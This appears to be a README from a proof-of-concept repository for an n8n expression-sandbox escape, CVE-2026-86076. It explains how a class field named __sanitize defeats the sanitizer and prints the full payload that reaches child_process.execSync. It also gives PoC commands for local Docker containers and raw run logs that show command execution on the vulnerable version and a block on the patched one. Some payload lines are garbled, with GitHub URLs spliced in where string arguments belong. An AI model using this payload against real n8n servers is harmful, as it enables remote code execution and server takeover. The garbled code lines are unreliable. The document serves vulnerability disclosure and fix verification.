
CVE-2026-86076 — n8n 表达式沙箱逃逸,通过类字段 `__sanitize` 重新绑定实现(后端 RCE)。已在 v2.37.6(uid=node)/ v2.37.7 验证。
在 n8n 后端进程中实现已认证(工作流编辑权限)的代码执行。表达式编译器会为每个计算成员访问注入 this.__sanitize(key);一个字面命名为 __sanitize 的类字段会在类体剩余部分重新绑定该 sanitizer,从而放行 constructor,并最终触达真正的 Function 构造函数 → process.mainModule.require('child_process')。
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.76、>= 2.0.0 < 2.37.7、>= 2.38.0 < 2.38.2184584828610("chore: Bundle 2.x (backport to release-candidate/2.37.x)",#37588)
→ packages/workflow/src/expression-sandboxing.ts(visitClassBody 拒绝保留成员名)以及 packages/@n8n/tournament/src/ExpressionBuilder.ts(___n8n_data 现在是词法绑定,而非 this)。PrototypeSanitizer(一个 AST after 钩子)会重写
[]['constr' + 'uctor'] → [][this.__sanitize('constr' + 'uctor')]
dataNode 是表达式的数据对象。当表达式不包含函数字面量时,dataNode 被输出为 this,而不是词法作用域中的 ___n8n_data:
// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }
在类字段初始化器中,this 是实例,因此名为 __sanitize 的字段会接管 sanitizer 调用。一个透传的替身就足够了——[].concat.bind([]) 返回 ['constructor'],而 obj[['constructor']] 会强制转换为键 constructor:
(new (class {
__sanitize = [].concat.bind([]);
x = []['constr'+'uctor']['constr'+'uctor']('return process')()
['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x
生成的代码(已在容器内使用真实编译器验证):
return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...
在补丁之前,没有任何机制会拒绝名为 __sanitize 的类成员
(RESERVED_VARIABLE_NAMES 仅对绑定标识符进行检查)。
该载荷需要进程内表达式引擎:
environment:
- N8N_EXPRESSION_ENGINE=legacy
使用默认的 vm 引擎时,同一表达式仍能绕过 AST 净化器([]['constr'+'uctor'] 不再被拦截——已验证),但代码运行在 isolated-vm 隔离环境中,该环境没有 process.mainModule;因此不会执行宿主代码。
2.37.7 在两种引擎下都会拒绝该表达式。
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076 -f docker-compose.2376.yml up -d # n8nio/n8n:2.37.6 -> :20002
docker compose -p poc-n8n-cve86076-fix -f docker-compose.2377.yml up -d # n8nio/n8n:2.37.7 -> :20003
两个文件都固定设置 N8N_EXPRESSION_ENGINE=legacy、SQLite,并绑定挂载 ./data-*。
PoC 会自行创建所有者账户(POST /rest/owner/setup + /rest/login)。
python3 n8n_poc.py --url http://127.0.0.1:20002 \
--command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'
run_vulnerable_2.37.6.txt)[*] target : http://127.0.0.1:20002
[*] version : undisclosed
[*] auth : logged in as [email protected]
[*] payload : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
uid=1000(node) gid=1000(node) groups=1000(node)
-rw-r--r-- 1 node node 0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0
从容器中读回的副作用(side_effect_2.37.6.txt):
-rw-r--r-- 1 node node 0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)
run_patched_2.37.7.txt)[*] target : http://127.0.0.1:20003
[*] auth : logged in as [email protected]
[*] payload : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory
该命令的 stdout 由 execSync(...).toString() 返回,作为 Set 节点的值,并通过 GET /rest/executions/<id>?includeData=true 读回(n8n 的“flatted”载荷,在脚本中解码)。磁盘上的副作用(/tmp/PWNED_86076)还通过 docker exec 得到了额外确认。
| 文件 | 内容 |
|---|---|
n8n_poc.py | 仅使用标准库的 PoC(--url --email --password --command --cve --output) |
run_vulnerable_2.37.6.txt、run_patched_2.37.7.txt | 原始运行记录 |
evidence_vulnerable_2.37.6.json、evidence_patched_2.37.7.json | JSON 证据 |
side_effect_2.37.6.txt、side_effect_2.37.7.txt | 容器侧检查 |
docker_logs_2.37.6.txt、docker_logs_2.37.7.txt | 容器日志 |